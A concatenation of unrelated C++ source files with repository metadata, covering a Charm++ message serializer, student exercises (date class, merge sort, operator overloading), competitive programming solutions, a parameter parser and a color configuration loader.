data_precision_(),
data_bytes_(0),
data_values_(nullptr),
data_delete_(true),
count_(false),
tag_(),
n4_(),
h4_(),
nx_(0),ny_(0),nz_(0),
IX_(0),IY_(0),IZ_(0)
{
++counter[cello::index_static()];
cello::hex_string(tag_,TAG_LEN);
}
//----------------------------------------------------------------------
MsgInitial::~MsgInitial()
{
--counter[cello::index_static()];
if (data_delete_) delete [] data_values_;
CkFreeMsg (buffer_);
buffer_=nullptr;
}
//----------------------------------------------------------------------
void * MsgInitial::pack (MsgInitial * msg)
{
TRACE_MSG_INITIAL("pack");
// Return with buffer if already packed
if (msg->buffer_ != nullptr) return msg->buffer_;
int size = 0;
// determine buffer size
SIZE_STRING_TYPE(size,msg->data_type_);
SIZE_STRING_TYPE(size,msg->data_name_);
SIZE_STRING_TYPE(size,msg->data_attribute_);
SIZE_SCALAR_TYPE(size,int, msg->data_precision_);
SIZE_SCALAR_TYPE(size,int, msg->data_bytes_);
SIZE_ARRAY_TYPE (size,char,msg->data_values_,msg->data_bytes_);
SIZE_SCALAR_TYPE(size,int, msg->data_delete_);
SIZE_SCALAR_TYPE(size,int, msg->count_);
SIZE_ARRAY_TYPE (size,char,msg->tag_,TAG_LEN+1);
SIZE_ARRAY_TYPE (size,int, msg->n4_,4);
SIZE_ARRAY_TYPE (size,double,msg->h4_,4);
SIZE_SCALAR_TYPE(size,int, msg->nx_);
SIZE_SCALAR_TYPE(size,int, msg->ny_);
SIZE_SCALAR_TYPE(size,int, msg->nz_);
SIZE_SCALAR_TYPE(size,int, msg->IX_);
SIZE_SCALAR_TYPE(size,int, msg->IY_);
SIZE_SCALAR_TYPE(size,int, msg->IZ_);
//--------------------------------------------------
// allocate buffer using CkAllocBuffer()
char * buffer = (char *) CkAllocBuffer (msg,size);
// serialize message data into buffer
union {
char * pc;
int * pi;
};
pc = buffer;
SAVE_STRING_TYPE(pc,msg->data_type_);
SAVE_STRING_TYPE(pc,msg->data_name_);
SAVE_STRING_TYPE(pc,msg->data_attribute_);
SAVE_SCALAR_TYPE(pc,int,msg->data_precision_);
SAVE_SCALAR_TYPE(pc,int,msg->data_bytes_);
SAVE_ARRAY_TYPE(pc,char,msg->data_values_,msg->data_bytes_);
SAVE_SCALAR_TYPE(pc,int,msg->data_delete_);
SAVE_SCALAR_TYPE(pc,int,msg->count_);
SAVE_ARRAY_TYPE(pc,char,msg->tag_,TAG_LEN+1);
SAVE_ARRAY_TYPE (pc,int, msg->n4_,4);
SAVE_ARRAY_TYPE (pc,double,msg->h4_,4);
SAVE_SCALAR_TYPE(pc,int, msg->nx_);
SAVE_SCALAR_TYPE(pc,int, msg->ny_);
SAVE_SCALAR_TYPE(pc,int, msg->nz_);
SAVE_SCALAR_TYPE(pc,int, msg->IX_);
SAVE_SCALAR_TYPE(pc,int, msg->IY_);
SAVE_SCALAR_TYPE(pc,int, msg->IZ_);
ASSERT2("MsgInitial::pack()",
"buffer size mismatch %ld allocated %d packed",
(pc - (char*)buffer),size,
(pc - (char*)buffer) == size);
CkFreeMsg (msg);
// Return the buffer
return (void *) buffer;
}
//----------------------------------------------------------------------
MsgInitial * MsgInitial::unpack(void * buffer)
{
TRACE_MSG_INITIAL("unpack");
// Allocate storage using CkAllocBuffer (not new!)
MsgInitial * msg = (MsgInitial *) CkAllocBuffer (buffer,sizeof(MsgInitial));
msg = new ((void*)msg) MsgInitial;
msg->is_local_ = false;
// de-serialize message data from input buffer into allocated message
union {
char * pc;
int * pi;
};
pc = (char *) buffer;
LOAD_STRING_TYPE(pc,msg->data_type_);
LOAD_STRING_TYPE(pc,msg->data_name_);
LOAD_STRING_TYPE(pc,msg->data_attribute_);
LOAD_SCALAR_TYPE(pc,int,msg->data_precision_);
LOAD_SCALAR_TYPE(pc,int,msg->data_bytes_);
msg->data_values_ = new char[msg->data_bytes_];
LOAD_ARRAY_TYPE (pc,char,msg->data_values_,msg->data_bytes_);
LOAD_SCALAR_TYPE(pc,int,msg->data_delete_);
msg->data_delete_ = true;
LOAD_SCALAR_TYPE(pc,int,msg->count_);
LOAD_ARRAY_TYPE(pc,char,msg->tag_,TAG_LEN+1);
LOAD_ARRAY_TYPE (pc,int, msg->n4_,4);
LOAD_ARRAY_TYPE (pc,double,msg->h4_,4);
LOAD_SCALAR_TYPE(pc,int, msg->nx_);
LOAD_SCALAR_TYPE(pc,int, msg->ny_);
LOAD_SCALAR_TYPE(pc,int, msg->nz_);
LOAD_SCALAR_TYPE(pc,int, msg->IX_);
LOAD_SCALAR_TYPE(pc,int, msg->IY_);
LOAD_SCALAR_TYPE(pc,int, msg->IZ_);
// Save the input buffer for freeing later
msg->buffer_ = buffer;
return msg;
}
//----------------------------------------------------------------------
void MsgInitial::update (Data * data)
{
TRACE_MSG_INITIAL("update");
// Copy field or particle data into data
if (!is_local_) {
CkFreeMsg (buffer_);
buffer_ = nullptr;
}
}
//----------------------------------------------------------------------
void MsgInitial::print (const char * msg)
{
CkPrintf ("MSG_INITIAL====================\n");
CkPrintf ("MSG_INITIAL tag %s %s\n",msg,tag_);
CkPrintf ("MSG_INITIAL is_local %d\n",is_local_);
}
//----------------------------------------------------------------------
void MsgInitial::set_field_data
(std::string field_name,
char * data, int data_size, int data_precision)
{
data_type_ = "field";
data_name_ = field_name;
data_attribute_ = ""; // unused for field data
copy_data_(data,data_size,data_precision);
}
//----------------------------------------------------------------------
void MsgInitial::get_field_data
(std::string * field_name,
char ** data, int * data_precision)
{
(*field_name) = data_name_;
(*data) = data_values_;
(*data_precision) = data_precision_;
}
//----------------------------------------------------------------------
void MsgInitial::set_dataset
(int n4[4], double h4[4],
int nx, int ny, int nz,
int IX, int IY, int IZ)
{
for (int i=0; i<4; i++) {
n4_[i] = n4[i];
h4_[i] = h4[i];
}
nx_ = nx; ny_ = ny; nz_ = nz;
IX_ = IX; IY_ = IY; IZ_ = IZ;
}
//----------------------------------------------------------------------
void MsgInitial::get_dataset
(int n4[4], double h4[4],
int * nx, int * ny, int * nz,
int * IX, int * IY, int * IZ)
{
for (int i=0; i<4; i++) {
n4[i] = n4_[i];
h4[i] = h4_[i];
}
(*nx) = nx_; (*ny) = ny_; (*nz) = nz_;
(*IX) = IX_; (*IY) = IY_; (*IZ) = IZ_;
}
//----------------------------------------------------------------------
void MsgInitial::set_particle_data
(std::string particle_name, std::string particle_attribute,
char * data, int data_size, int data_precision)
{
data_type_ = "particle";
data_name_ = particle_name;
data_attribute_ = particle_attribute;
copy_data_(data,data_size,data_precision);
}
//----------------------------------------------------------------------
void MsgInitial::get_particle_data
(std::string * particle_name,
std::string * particle_attribute,
char ** data, int * data_size, int * data_precision)
{
(*particle_name) = data_name_;
(*particle_attribute) = data_attribute_;
(*data) = data_values_;
const int bytes_per_element = cello::sizeof_precision(data_precision_);
(*data_size) = data_bytes_ / bytes_per_element;
(*data_precision) = data_precision_;
}
//======================================================================
void MsgInitial::copy_data_( char * data, int data_size, int data_precision)
{
// create copy of data
const int bytes_per_element = cello::sizeof_precision(data_precision);
data_precision_ = data_precision;
data_bytes_ = data_size*bytes_per_element;
data_values_ = new char[data_bytes_];
data_delete_ = true;
std::copy_n( data, data_bytes_, data_values_);
}
|
cb8e45672f1a02edfcab8a112e348a2601f6b685 | 694d43c0d41d7da77aa7c28dfc4371bb02cde549 | /MAPIL/Code/Src/Graphics/Shader.cpp | 84060efb820de232174226af16665a3751e2524f | [] | no_license | nutti/MAPIL | 3774e1e9b83f7437cd0ebe7d264893ac48f37531 | b0cc4b0ca4f3c437c41ab6c4794447c5b217ebb6 | refs/heads/master | 2020-06-04T10:22:15.596841 | 2013-12-19T11:46:59 | 2013-12-19T11:46:59 | 3,541,815 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 691 | cpp | Shader.cpp | /**
* @file Shader.cpp
* @brief Implementation of Shader.h.
* @date 2012.10.6 (Sat) 22:24
*/
//-------------------------------------------------------------------
// Includes.
//-------------------------------------------------------------------
#include "../../Include/MAPIL/CrossPlatform.h"
#include "../../Include/MAPIL/Graphics/Shader.h"
#include "../../Include/MAPIL/Graphics/GraphicsDevice.h"
//-------------------------------------------------------------------
// Implementation.
//-------------------------------------------------------------------
namespace MAPIL
{
Shader::Shader( SharedPointer < GraphicsDevice > pDev ) : Graphics( pDev )
{
}
Shader::~Shader()
{
}
}
|
31f3c5a1934459f9ae6a51e8308f6d995dee98fe | c7f44aafc118d92c27cb64a2215763acca386917 | /main.cpp | b6d6b05ca369243280eb326b10731f328be8b29a | [] | no_license | lexeylk/Date | 6ff7ece5d75e09718afd5684684d1654490022fa | 38168c754627e6077ef336ce726cc06926a00d12 | refs/heads/master | 2021-01-10T21:20:12.315916 | 2015-03-16T11:27:42 | 2015-03-16T11:27:42 | 32,320,362 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 708 | cpp | main.cpp | #include <stdio.h>
#include <iostream>
class Data{
public:
int d, m, y;
Data(int day, int month, int year);
bool check();
void print();
int return_days();
};
Data::Data(int day, int month, int year){
d = day;
m = month;
y = year;
}
void Data::print(){
std::cout << Data::d << "." << Data::m << "." << Data::y;
}
int Data::return_days(){
if ((m == 1) || (m == 3) || (m == 5) || (m == 7) || (m == 8) || (m == 10) || (m == 12)) return 31;
if ((m == 4) || (m == 6) || (m == 9) || (m == 11)) return 30;
if (y % 4 == 0) return 29; else return 28;
}
bool Data::check(){
return 0;
}
int main(){
Data today(28, 2, 2012);
//today.print();
//std::cout << today.return_days();
return 0;
} |
44344b05160c1478bc0fa4e1e0bc5f1972d327d3 | 30bdd8ab897e056f0fb2f9937dcf2f608c1fd06a | /DP/2020.cpp | b8999808dd0152b59c81a7cc75aab8effc4fe415 | [] | no_license | thegamer1907/Code_Analysis | 0a2bb97a9fb5faf01d983c223d9715eb419b7519 | 48079e399321b585efc8a2c6a84c25e2e7a22a61 | refs/heads/master | 2020-05-27T01:20:55.921937 | 2019-11-20T11:15:11 | 2019-11-20T11:15:11 | 188,403,594 | 2 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 566 | cpp | 2020.cpp | #include <bits/stdc++.h>
using namespace std;
int main()
{
int n, m;
cin >> n >> m;
int a[n];
for (int i = 0; i < n; i++) cin >> a[i];
set<int> c;
int cnt = 0;
int r[n] = {0};
for (int i = n - 1; i >= 0; i--)
{
if (c.find(a[i]) == c.end())
{
cnt++;
c.insert(a[i]);
}
r[i] = cnt;
}
int f;
for (int i = 0; i < m; i++)
{
cin >> f;
cout << r[f-1] << "\n";
}
return 0;
}
|
e9c2c52b84d9895b7ddf7493cc7f8509e70c6b01 | dd79ea8df482e868c2cbbf9a3ee6c2867965d581 | /hw_5/unit_tests.cc | 7a7de1c65515a5cb8a31b04db2e71ece2c48a2d1 | [] | no_license | Chuckhu18/520-Assignments | 9e55cc2089441476e3ffb9a6d3ca144c66345039 | 0314e51dcb2e3a63d2848cc1caf71fa064b69ce7 | refs/heads/master | 2022-04-09T10:29:54.842479 | 2020-03-12T01:26:53 | 2020-03-12T01:26:53 | 232,954,010 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,575 | cc | unit_tests.cc | #include "gtest/gtest.h"
#include <iostream>
#include <vector>
#include <cctype>
#include <numeric> // std::accumulate
#include "example.h"
#include "db.h"
namespace {
using namespace std;
TEST(Example,Sort){
double mya[] = {3,-2,1};
vector<double> myvector (mya, mya+3);
sort_by_magnitude(myvector);
cout << "myvector contains:";
for (vector<double>::iterator it=myvector.begin(); it!=myvector.end(); ++it)
cout << ' ' << *it;
cout << endl;
}
TEST(Example,Prime){
int n = 100;
vector<int> myvector = primes(n);
cout << "primes less than "<< n <<":";
for (auto it=myvector.begin(); it!=myvector.end(); ++it)
cout << ' ' << *it;
cout << endl;
}
TEST(Example,Tuple){
int n = 1000;
vector<int> v = primes(n);
tuple<int, int> temp;
cout << "twin primes less than "<< n <<":";
vector<tuple<int,int>> twin_p = twins(v);
cout<<'[';
for ( const auto& i : twin_p ) {
cout <<'('<< get<0>(i) <<','<< get<1>(i)<<')'<< ',';
}
cout<<']'<<endl;
}
TEST(DB, Insert){
DB db;
db.insert("Mars", 1.234, 2.345)
.insert("Jupiter", 123.232, 23123.23)
.insert("Mercury", 4545.34, 43434.34);
try{
db.insert("Mars", 1.1111, 2.2222);
} catch (runtime_error e) {
ASSERT_STREQ(e.what(),"Name already exists");
}
}
TEST(DB, FindbyName){
DB db;
db.insert("Mars", 1.234, 2.345)
.insert("Earth",0,0);
try{
db.find_by_name("Mercury");
FAIL();
} catch (runtime_error e) {
ASSERT_STREQ(e.what(), "Could not find row by name");
}
}
TEST(DB, CreateTestData){
DB db;
db.creat_test_data(100);
cout<<"size: "<< db.size() <<endl;
for(int i=0; i<db.size(); i++){
DB::Row row = db.find(i);
cout << KEY(row)<<":"<<NAME(row)<<", "<<MASS(row)<<", "<<DISTANCE(row)<<endl;
}
}
TEST(DB, Accumulate){
DB db;
db.creat_test_data(5);
for(int i=0; i<db.size(); i++){
DB::Row row = db.find(i);
cout << KEY(row)<<":"<<NAME(row)<<", "<<MASS(row)<<", "<<DISTANCE(row)<<endl;
}
double total_mass = db.accumulate([](DB::Row row) { return MASS(row); });
cout << "total mass:"<<total_mass<<endl;
}
TEST(DB, Avg){
DB db;
db.creat_test_data(5);
for(int i=0; i<db.size(); i++){
DB::Row row = db.find(i);
cout << KEY(row)<<":"<<NAME(row)<<", "<<MASS(row)<<", "<<DISTANCE(row)<<endl;
}
cout<<"avg mass" << db.average_mass() <<endl;
cout<<"avg distance" << db.average_distance() <<endl;
}
}
|
40ad0be1df87af53cf8798ed34e70a29ddf5fb5d | ab4e78006f4cf7ac10ebfeb5f5976f8329ea7a08 | /src/ParseParamsBody.cpp | 722e3215795aa4c67ff9d9a875b18ed3d7ddd599 | [] | no_license | mstefferson/HardRod | e4902407c896b1a3399653928bfa6ca27005afab | 6c524d9c1968b162b9dd197932f429a174f73f47 | refs/heads/master | 2021-03-25T14:22:03.726349 | 2016-04-06T18:56:06 | 2016-04-06T18:56:06 | 46,453,606 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,897 | cpp | ParseParamsBody.cpp | if( param_name.compare( "seed" ) == 0 ) {
params.seed = atoi( param_value.c_str() );
std::cout << " seed = " << param_value << std::endl;
}
if( param_name.compare( "trial" ) == 0 ) {
params.trial = atoi( param_value.c_str() );
std::cout << " trial = " << param_value << std::endl;
}
if( param_name.compare( "Nx" ) == 0 ) {
params.Nx = atoi( param_value.c_str() );
std::cout << " Nx = " << param_value << std::endl;
}
if( param_name.compare( "Ny" ) == 0 ) {
params.Ny = atoi( param_value.c_str() );
std::cout << " Ny = " << param_value << std::endl;
}
if( param_name.compare( "Nm" ) == 0 ) {
params.Nm = atoi( param_value.c_str() );
std::cout << " Nm = " << param_value << std::endl;
}
if( param_name.compare( "StepFlag" ) == 0 ) {
params.StepFlag = atoi( param_value.c_str() );
std::cout << " StepFlag = " << param_value << std::endl;
}
if( param_name.compare( "IsoDiffFlag" ) == 0 ) {
params.IsoDiffFlag = atoi( param_value.c_str() );
std::cout << " IsoDiffFlag = " << param_value << std::endl;
}
if( param_name.compare( "IcFlag" ) == 0 ) {
params.IcFlag = atoi( param_value.c_str() );
std::cout << " IcFlag = " << param_value << std::endl;
}
if( param_name.compare( "RandPerbAmpFlag" ) == 0 ) {
params.RandPerbAmpFlag = atoi( param_value.c_str() );
std::cout << " RandPerbAmpFlag = " << param_value << std::endl;
}
if( param_name.compare( "wrtRhoFlag" ) == 0 ) {
params.wrtRhoFlag = atoi( param_value.c_str() );
std::cout << " wrtRhoFlag = " << param_value << std::endl;
}
if( param_name.compare( "wrtOpFlag" ) == 0 ) {
params.wrtOpFlag = atoi( param_value.c_str() );
std::cout << " wrtOpFlag = " << param_value << std::endl;
}
if( param_name.compare( "pXmodes" ) == 0 ) {
params.pXmodes = atoi( param_value.c_str() );
std::cout << " pXmodes = " << param_value << std::endl;
}
if( param_name.compare( "pYmodes" ) == 0 ) {
params.pYmodes = atoi( param_value.c_str() );
std::cout << " pYmodes = " << param_value << std::endl;
}
if( param_name.compare( "pMmodes" ) == 0 ) {
params.pMmodes = atoi( param_value.c_str() );
std::cout << " pMmodes = " << param_value << std::endl;
}
if( param_name.compare( "dt" ) == 0 ) {
params.dt = atof( param_value.c_str() );
std::cout << " dt = " << param_value << std::endl;
}
if( param_name.compare( "trec" ) == 0 ) {
params.trec = atof( param_value.c_str() );
std::cout << " trec = " << param_value << std::endl;
}
if( param_name.compare( "tend" ) == 0 ) {
params.tend = atof( param_value.c_str() );
std::cout << " tend = " << param_value << std::endl;
}
if( param_name.compare( "bc" ) == 0 ) {
params.bc = atof( param_value.c_str() );
std::cout << " bc = " << param_value << std::endl;
}
if( param_name.compare( "vD" ) == 0 ) {
params.vD = atof( param_value.c_str() );
std::cout << " vD = " << param_value << std::endl;
}
if( param_name.compare( "Lx" ) == 0 ) {
params.Lx = atof( param_value.c_str() );
std::cout << " Lx = " << param_value << std::endl;
}
if( param_name.compare( "Ly" ) == 0 ) {
params.Ly = atof( param_value.c_str() );
std::cout << " Ly = " << param_value << std::endl;
}
if( param_name.compare( "Lrod" ) == 0 ) {
params.Lrod = atof( param_value.c_str() );
std::cout << " Lrod = " << param_value << std::endl;
}
if( param_name.compare( "Dpar" ) == 0 ) {
params.Dpar = atof( param_value.c_str() );
std::cout << " Dpar = " << param_value << std::endl;
}
if( param_name.compare( "Dperp" ) == 0 ) {
params.Dperp = atof( param_value.c_str() );
std::cout << " Dperp = " << param_value << std::endl;
}
if( param_name.compare( "Dr" ) == 0 ) {
params.Dr = atof( param_value.c_str() );
std::cout << " Dr = " << param_value << std::endl;
}
if( param_name.compare( "PertrbAmp" ) == 0 ) {
params.PertrbAmp = atof( param_value.c_str() );
std::cout << " PertrbAmp = " << param_value << std::endl;
}
|
e07fa9627a3469b49ae9538b43c8af7e92c5b97c | df90ed23a49dba79f61e5a28366424f0ecec60de | /src/color_configuration.cpp | 6dc2c6fb7dabea832b7627d69e1e68f3ab7f78e8 | [
"BSD-2-Clause"
] | permissive | Damdoshi/LibLapin | 306e8ae8be70be9e4de93db60913c4f092a714a7 | 41491d3d3926b8e42e3aec8d1621340501841aae | refs/heads/master | 2023-09-03T10:11:06.743172 | 2023-08-25T08:03:33 | 2023-08-25T08:03:33 | 64,509,332 | 39 | 12 | NOASSERTION | 2021-02-03T17:18:22 | 2016-07-29T20:43:25 | C++ | UTF-8 | C++ | false | false | 2,907 | cpp | color_configuration.cpp | // Jason Brillante "Damdoshi"
// Hanged Bunny Studio 2014-2018
//
// Bibliothรจque Lapin
#include "lapin_private.h"
t_bunny_decision bunny_color_configuration(const char *field,
t_bunny_color *col,
t_bunny_configuration *cnf)
{
t_bunny_configuration *nod;
const char *str;
char *end;
int tmp;
if (bunny_configuration_getf_node(cnf, &nod, field) == false)
return (BD_NOT_FOUND);
switch (bunny_configuration_get_nbr_case(nod))
{
// case 1:
case 0:
if (bunny_configuration_getf_string(nod, &str, ".") == false)
return (BD_ERROR);
// HTML style color
if (*str == '#')
{
tmp = strtol(&str[1], &end, 16) | BLACK;
if (*end)
return (BD_ERROR);
col->full = tmp;
break ;
}
// Single gray level
if (bunny_configuration_getf_int(nod, &tmp, ".") == false)
return (BD_ERROR);
tmp &= 255;
col->argb[RED_CMP] = col->argb[BLUE_CMP] = col->argb[GREEN_CMP] = tmp;
col->argb[ALPHA_CMP] = 255;
break ;
case 2:
if (bunny_configuration_getf_int(nod, &tmp, "[0]") == false)
return (BD_ERROR);
tmp &= 255;
col->argb[RED_CMP] = col->argb[BLUE_CMP] = col->argb[GREEN_CMP] = tmp;
if (bunny_configuration_getf_int(nod, &tmp, "[1]") == false)
return (BD_ERROR);
tmp &= 255;
col->argb[ALPHA_CMP] = tmp;
break ;
case 3:
if (bunny_configuration_getf_int(nod, &tmp, "[0]") == false)
return (BD_ERROR);
col->argb[RED_CMP] = tmp & 255;
if (bunny_configuration_getf_int(nod, &tmp, "[1]") == false)
return (BD_ERROR);
col->argb[GREEN_CMP] = tmp & 255;
if (bunny_configuration_getf_int(nod, &tmp, "[2]") == false)
return (BD_ERROR);
col->argb[BLUE_CMP] = tmp & 255;
col->argb[ALPHA_CMP] = 255;
break ;
case 4:
if (bunny_configuration_getf_int(nod, &tmp, "[0]") == false)
return (BD_ERROR);
col->argb[RED_CMP] = tmp & 255;
if (bunny_configuration_getf_int(nod, &tmp, "[1]") == false)
return (BD_ERROR);
col->argb[GREEN_CMP] = tmp & 255;
if (bunny_configuration_getf_int(nod, &tmp, "[2]") == false)
return (BD_ERROR);
col->argb[BLUE_CMP] = tmp & 255;
if (bunny_configuration_getf_int(nod, &tmp, "[3]") == false)
return (BD_ERROR);
col->argb[ALPHA_CMP] = tmp & 255;
break ;
default:
return (BD_ERROR);
}
return (BD_OK);
}
t_bunny_decision bunny_color_bind_configuration(const char *field,
t_bunny_color *col,
t_bunny_configuration *cnf)
{
t_bunny_decision dec;
int i;
if ((dec = bunny_color_configuration(field, col, cnf)) == BD_ERROR)
return (dec);
for (i = 0; i < 4; ++i)
{
bunny_configuration_setf_int(cnf, (int)(col->argb[i] & 0xFF), "%s[%d]", field, i);
bunny_configuration_bindf_char(cnf, (char*)&col->argb[i], "%s[%d]", field, i);
}
return (BD_OK);
}
|
37eab654b6bcf6bcf5259a25e8ffbaf67dd4b4c0 | d35efbf99375ff689c69a6ee1ca1f33e7b0a7427 | /Sorting.cpp | 33d2a2f4cdbfb1f08ed56aeb784cbb8df5fc3996 | [
"MIT"
] | permissive | laya-2002/Merge-Sort | baa0bf574fad0ec9a35d82361aa53915041b4e90 | ae6c2f597a72c36d5d736356c94047a2c38ca43b | refs/heads/main | 2023-09-05T14:27:14.867034 | 2021-11-05T09:32:04 | 2021-11-05T09:32:04 | 370,320,292 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,930 | cpp | Sorting.cpp | #include<iostream>
using namespace std;
void merge(int arr[],int l,int m,int r){
// Function used to sort and merge the two parts.
// Declaring the first array.
int L[m-l+1];
// Declaring the second array.
int R[r-m];
// Initializing the first array.
for(int i=0;i<(m-l+1);i++){
L[i]=arr[l+i];
}
// Initializing the second array.
for(int j=0;j<(r-m);j++){
R[j]=arr[m+1+j];
}
// Initializing the variables to iterate over first array, second array and main array.
int i=0,j=0,k=l;
// Iterating the two half arrays to sort the values and merge to the main array.
while(i<(m-l+1) && j<(r-m)){
if(L[i]<=R[j]){
arr[k]=L[i];
++i;
}
else{
arr[k]=R[j];
++j;
}
++k;
}
// Iterating over the remaining parts of anyone of the half array.
while(i<(m-l+1)){
arr[k]=L[i];
++i;
++k;
}
while(j<(r-m)){
arr[k]=R[j];
++j;
++k;
}
}
void mergeSort(int arr[],int l,int r){
// Function used to divide the array into two parts at every level.
int n=r-l+1;
int m=l+((r-l)/2);
// Calling the functions until every part is of length greater than 1.
if(n>1){
mergeSort(arr,l,m);
mergeSort(arr,m+1,r);
merge(arr,l,m,r);
}
}
int main()
{
// Taking the length of array as input.
int size;
cin>>size;
// Declaring the array.
int arr[size];
// Taking all the array elements as input.
for(int i=0;i<size;i++){
cin>>arr[i];
}
// Calling the function to sort the input array.
mergeSort(arr,0,size-1);
// Displaying the sorted form of input array.
for(int i=0;i<size;i++){
cout<<arr[i]<<" ";
}
return 0;
}
|
17a4340875d9e51a74026fcef59da30629fc14dc | f36d78ab17b114775248e00afead5de56d9de8f4 | /22/22_main.cpp | afc957ff58fef3923fe36d8ef098731938539fa7 | [] | no_license | tonyplotnikov/Labs_PSTU | 879abafc63da4c3dce9c3944de29727ace58489f | e8c38a2d4b31e3a6291f1c1c921b1ecdfd4c44c4 | refs/heads/master | 2022-11-06T09:06:00.634992 | 2020-06-17T22:59:25 | 2020-06-17T22:59:25 | 256,130,980 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,199 | cpp | 22_main.cpp | ๏ปฟ// ะะปะพัะฝะธะบะพะฒ ะะฝัะพะฝ, ะปะฐะฑะพัะฐัะพัะฝะฐั ัะฐะฑะพัะฐ โ 22. ะะตัะตะณััะทะบะฐ ะพะฟะตัะฐัะธะน.
// 1. ะะฟะตัะฐัะธะธ ััะฐะฒะฝะตะฝะธั (<, >).
// 2. ะะฟะตัะฐัะธั ++, ะบะพัะพัะฐั ัะฐะฑะพัะฐะตั ัะปะตะดัััะธะผ ะพะฑัะฐะทะพะผ : ะตัะปะธ ัะพัะผะฐ ะพะฟะตัะฐัะธะธ ะฟัะตัะธะบัะฝะฐั, ัะพ ัะฒะตะปะธัะธะฒะฐะตััั ะฟะตัะฒะพะต ัะธัะปะพ, ะตัะปะธ ัะพัะผะฐ ะพะฟะตัะฐัะธะธ ะฟะพัััะธะบัะฝะฐั, ัะพ ัะฒะตะปะธัะธะฒะฐะตััั ะฒัะพัะพะต ัะธัะปะพ.
#include "Pair.h"
#include <iostream>
using namespace std;
int main()
{
setlocale(LC_ALL, "Russian");
Pair a;
Pair b;
Pair c;
cin >> a;
cin >> b;
cout << "ะงะธัะปะฐ(a): " << a << endl;
++a;
cout << "ะงะธัะปะฐ(a): " << a << endl << endl;
a++;
cout << "ะงะธัะปะฐ(a): " << a << endl;
cout << "ะงะธัะปะฐ(b): " << b << endl;
c = ++++b++++;
cout << "ะงะธัะปะฐ(c): " << c << endl;
if (a < b)
cout << "a < b" << endl;
else if (a > b)
cout << "a > b" << endl;
else
cout << "ะะตะพะฟัะตะดะตะปะตะฝะพ" << endl;
if (a > c)
cout << "a > c" << endl;
else if (a < c)
cout << "a < c" << endl;
else
cout << "ะะตะพะฟัะตะดะตะปะตะฝะพ" << endl;
} |
c85383373c0710b6fff68176b037dc527f4a7fd4 | b7a7725af9cdb9229898d1277c40d95051393eb8 | /hacker_graph.cpp | 05ced404651991eb34adf7f27beed39579263bdc | [] | no_license | siddharthkhabia/c-file | 1647cc83b713ac85f9b26acecd599acddeca2269 | 19d83e971a77baeda7b971ef851c662645ea4703 | refs/heads/master | 2021-01-10T03:49:36.513462 | 2015-12-11T06:38:48 | 2015-12-11T06:38:48 | 45,008,590 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,737 | cpp | hacker_graph.cpp | #include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <limits.h>
#include <algorithm>
#include <vector>
#include <string>
using namespace std;
int dfs_1(int a,std::vector<std::vector<int> > &v)
{
if (a==1)
{
return 1;
}
else
{
for (int i = 0; i < v[a].size(); ++i)
{
int temp=-1;
if (temp==v[a][i])
{
continue;
}
else
{
temp=v[a][i];
}
v[a].erase(v[a].begin()+i);
if (dfs_1(temp,v))
{
return 1;
}
else
{
v[a].insert(v[a].begin()+i,temp);
}
}
return 0;
}
}
int dfs(int a,std::vector<std::vector<int> > &v)
{
if (a==v.size()-1)
{
if (dfs_1(a,v))
{
return 1;
}
else
{
return 0;
}
//return 1;
}
else
{
for (int i = 0; i < v[a].size(); ++i)
{
int temp=-1;
if (temp==v[a][i])
{
continue;
}
else
{
temp=v[a][i];
}
v[a].erase(v[a].begin()+i);
if (dfs(temp,v))
{
return 1;
}
else
{
v[a].insert(v[a].begin()+i,temp);
}
}
return 0;
}
}
int main(int argc, char const *argv[])
{
int t;
cin>>t;
while(t--)
{
int n,m;
cin>>n>>m;
if (n==1)
{
cout<<"Go on get the Magical Lamp"<<endl;
continue;
}
vector< std::vector<int> > v(n+1);
for (int i = 0; i < m; ++i)
{
int a,b;
cin>>a>>b;
v[a].push_back(b);
}
for (int i = 1 ; i < v.size(); ++i)
{
sort(v[i].begin(),v[i].end());
}
if(dfs(1,v))
{
cout<<"Go on get the Magical Lamp"<<endl;
continue;
}
else
{
cout<<"Danger!! Lucifer will trap you"<<endl;
continue;
}
}
return 0;
} |
815be33976524befaa0a01a5acee3e501c1cd411 | 49731835b7fbc75caaf8739394d1ee3ff9121daf | /PokerSphere/TournamentTemplateManagement.h | 8d240515d2bbdba073ea67270fd660e67c065e3e | [] | no_license | Bwaim/Pokersphere | e974a88fe90a4cd7ab1fb5c085dc01f4eca76563 | bc8dc084b8f9575cb645ba2be1c03f8cfff6e67f | refs/heads/master | 2021-07-07T01:14:03.099653 | 2017-09-27T12:03:51 | 2017-09-27T12:03:51 | 105,008,499 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,193 | h | TournamentTemplateManagement.h | #ifndef TOURNAMENTTEMPLATEMANAGEMENT_H
#define TOURNAMENTTEMPLATEMANAGEMENT_H
#include <QWidget>
#include "ui_TournamentTemplateManagement.h"
#include "CreateTournamentTemplate.h"
#include "TournamentTemplateManager.h"
#include "TournamentTemplate.h"
class TournamentTemplateManagement : public QWidget
{
Q_OBJECT
public:
TournamentTemplateManagement(int franchise, QWidget *parent = 0);
~TournamentTemplateManagement();
private slots:
void selectionChanged(const QModelIndex ¤t, const QModelIndex &previous);
void showCreateTournamentTemplate(const QString&);
void updateTournamentTemplate(const QString&);
void dupliquerTournamentTemplate(const QString&);
void deleteTournamentTemplate(const QString&);
void getTournamentsTemplate();
private:
void displayTournamentTemplate(std::shared_ptr<TournamentTemplate> tournamentTemplate);
Ui::TournamentTemplateManagement ui;
TournamentTemplateManager *m_tournamentTemplateManager;
std::unique_ptr<CreateTournamentTemplate> m_createTournamentTemplate;
std::shared_ptr<TournamentTemplate> m_selectedTournamentTemplate;
int m_franchise;
};
#endif // TOURNAMENTTEMPLATEMANAGEMENT_H
|
52a71d151d32bc43f8c14ad72bb94c30c40c5b52 | 932aec8283dea0a6971a917dcb270f780738a964 | /template/main.cpp | f1d50ffbace5d510321b66c20c6c2163035b22dc | [
"MIT"
